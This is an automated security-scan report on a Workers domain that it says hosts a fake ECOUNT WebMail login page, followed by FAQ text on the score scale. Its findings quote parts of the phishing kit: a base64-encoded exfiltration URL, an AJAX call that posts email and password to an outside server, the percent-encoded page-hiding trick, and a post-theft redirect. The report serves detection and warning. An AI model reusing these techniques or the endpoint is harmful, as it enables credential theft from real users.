Is worker-still-bar-e200.porter-42b.workers.dev safe?

suspiciouslow confidence
39/100

context safety score

A score of 39/100 indicates multiple risk signals were detected. This entity shows patterns commonly associated with malicious intent.

identity
84
behavior
100
content
0
graph
30

9 threat patterns detected

medium

encoded payload

suspicious base64-like blobs detected in page content

medium

js obfuscation

Obfuscated document.write with encoded content

critical

phishing

Fake ECOUNT WebMail login page hosted on a Cloudflare Workers domain (worker-still-bar-e200.porter-42b.workers.dev) designed to steal user credentials. The page mimics the legitimate ECOUNT WebMail login interface with matching branding, title 'Ecount WebMail - Login', and ECOUNT logo styling. (location: page.html - decoded HTML body, title element and login form)

critical

credential harvesting

Login form POSTs email and password to an external exfiltration endpoint at https://ovalsakal.biz/Count/ecounttele.php using obfuscated field names (u67hy8 for email, pyu787 for password). After one successful capture, the victim is silently redirected to the legitimate ecount.com site to avoid suspicion. (location: page.html - decoded script: $.ajax({url:atob(phpLink), type:'POST', data:{u67hy8: email, pyu787: password}}))

critical

brand impersonation

The page fully impersonates ECOUNT's WebMail service, including the brand name in the title, meta author tag set to 'ECOUNT', login-logo CSS class matching ECOUNT's design system, and a post-capture redirect to https://www.ecount.com/us/ to complete the deception. (location: page.html - decoded HTML: <title>Ecount WebMail - Login</title>, <meta name='author' content='ECOUNT'>, redirect to ecount.com)

high

obfuscated code

The entire page HTML is hidden inside a JavaScript document.write(unescape(...)) call using percent-encoded characters, making the true content invisible to static scanners and human reviewers inspecting the raw source. Additionally, the credential exfiltration endpoint URL is base64-encoded in a variable named 'phpLink' and decoded at runtime via atob(). (location: page.html lines 1-11: const phpLink = 'aHR0cHM6Ly9vdmFsc2FrYWwuYml6L0NvdW50L2Vjb3VudHRlbGUucGhw' and document.write(unescape('%0A%3C%21...')))

high

malicious redirect

After harvesting credentials on the first login attempt, the script redirects the victim to https://www.ecount.com/us/?redir= — the legitimate ECOUNT site — to make the phishing attack appear as a benign login failure and prevent the victim from realising their credentials were stolen. (location: page.html - decoded script: 2===e ? location.href='https://www.ecount.com/us/?redir=' : (show error, reset))

high

hidden content

The actual phishing page content (full HTML with login form, styles, and credential-harvesting scripts) is entirely hidden from raw HTML inspection by being URL-percent-encoded and injected at runtime via document.write(unescape(...)). The visible source contains no readable page content, preventing detection by content-based security tools. (location: page.html - entire page body encoded as percent-escaped string inside unescape() call)

medium

social engineering

The autocomplete attributes on the email and password fields are set to random garbage strings ('hdyiehge' and 'hdyyefguei') to suppress browser-saved credential autofill warnings, and the URL fragment (#hash) is used to pre-populate the email field — a technique used in targeted spear-phishing emails where the victim's email is embedded in the link. (location: page.html - decoded HTML: autocomplete='hdyiehge', autocomplete='hdyyefguei'; decoded script: a(g) ? $('#email').val(g) using window.location.hash)

API

curl https://api.brin.sh/domain/worker-still-bar-e200.porter-42b.workers.dev

FAQ: how to interpret this assessment

Common questions teams ask before deciding whether to use this domain in agent workflows.

Is worker-still-bar-e200.porter-42b.workers.dev safe for AI agents to use?

worker-still-bar-e200.porter-42b.workers.dev currently scores 39/100 with a suspicious verdict and low confidence. The goal is to protect agents from high-risk context before they act on it. Treat this as a decision signal: higher scores suggest lower observed risk, while lower scores mean you should add review or block this domain.

How should I interpret the score and verdict?

Use the score as a policy threshold: 80–100 is safe, 50–79 is caution, 20–49 is suspicious, and 0–19 is dangerous. Teams often auto-allow safe, require human review for caution/suspicious, and block dangerous.

How does brin compute this domain score?

brin evaluates four dimensions: identity (source trust), behavior (runtime patterns), content (malicious instructions), and graph (relationship risk). Analysis runs in tiers: static signals, deterministic pattern checks, then AI semantic analysis when needed.

What do identity, behavior, content, and graph mean for this domain?

Identity checks source trust, behavior checks unusual runtime patterns, content checks for malicious instructions, and graph checks risky relationships to other entities. Looking at sub-scores helps you understand why an entity passed or failed.

Why does brin scan packages, repos, skills, MCP servers, pages, and commits?

brin performs risk assessments on external context before it reaches an AI agent. It scores that context for threats like prompt injection, hijacking, credential harvesting, and supply chain attacks, so teams can decide whether to block, review, or proceed safely.

Can I rely on a safe verdict as a full security guarantee?

No. A safe verdict means no significant risk signals were detected in this scan. It is not a formal guarantee; assessments are automated and point-in-time, so combine scores with your own controls and periodic re-checks.

When should I re-check before using an entity?

Re-check before high-impact actions such as installs, upgrades, connecting MCP servers, executing remote code, or granting secrets. Use the API in CI or runtime gates so decisions are based on the latest scan.

Learn more in threat detection docs, how scoring works, and the API overview.

Last Scanned

March 6, 2026

Verdict Scale

safe80–100
caution50–79
suspicious20–49
dangerous0–19

Trust Graph

Disclaimer

Assessments are automated and may contain errors. Findings are risk indicators, not confirmed threats. This is a point-in-time assessment; security posture can change.

start scoring agent dependencies.

integrate brin in minutes — one GET request is all it takes. query the api, browse the registry, or download the full dataset.